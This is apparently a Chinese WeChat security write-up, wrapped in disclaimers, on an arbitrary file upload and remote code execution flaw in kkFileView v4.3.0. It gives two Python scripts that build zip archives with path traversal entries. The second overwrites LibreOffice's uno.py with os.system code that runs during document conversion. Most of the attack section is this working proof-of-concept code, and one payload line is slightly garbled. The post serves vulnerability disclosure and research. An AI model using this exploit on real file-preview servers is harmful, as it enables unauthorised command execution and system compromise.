免责声明:
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。
影响版本
v4.3.0~v4.40
v4.2.1~v4.2.0
环境部署
本地源码启动或者docker部署
漏洞验证
任意文件上传
1.import zipfile
2.if __name__ == "__main__":
3. try:
4. binary1 = b'1ueeeeee'
5. binary2 = b'hacked_by_1ue'
6. zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
7. info = zipfile.ZipInfo("hack.zip")
8. zipFile.writestr("test", binary1)
9. zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
10. zipFile.close()
11. except IOError as e:
12. raise e
制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件:
上传文件并预览
发现成功穿越。
RCE
可以任意文件上传,并且可以追加文件内容
经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容
1.import zipfile
2.
3.if __name__ == "__main__":
4. try:
5. binary1 = b'1ue'
6. binary2 = b'import osrnos.system('touch /tmp/hack_by_1ue')'
7. zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
8. info = zipfile.ZipInfo("hack.zip")
9. zipFile.writestr("test", binary1)
10.zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
11. zipFile.close()
12. except IOError as e:
13. raise e
制作恶意的zip包 上传并预览
再随便上传一个odt文件,另其发起libreoffice任务 上传并预览
可以看到命令成功被执行
uno.py中也确实被写入了内容
漏洞来源luelueking师傅的:
https://github.com/luelueking
由于该漏洞可利用资产比较多,防止恶意利用,公众号回复
点个小赞你最好看
原文始发于微信公众号(影域实验室):kkFileView-v4.3.0-RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论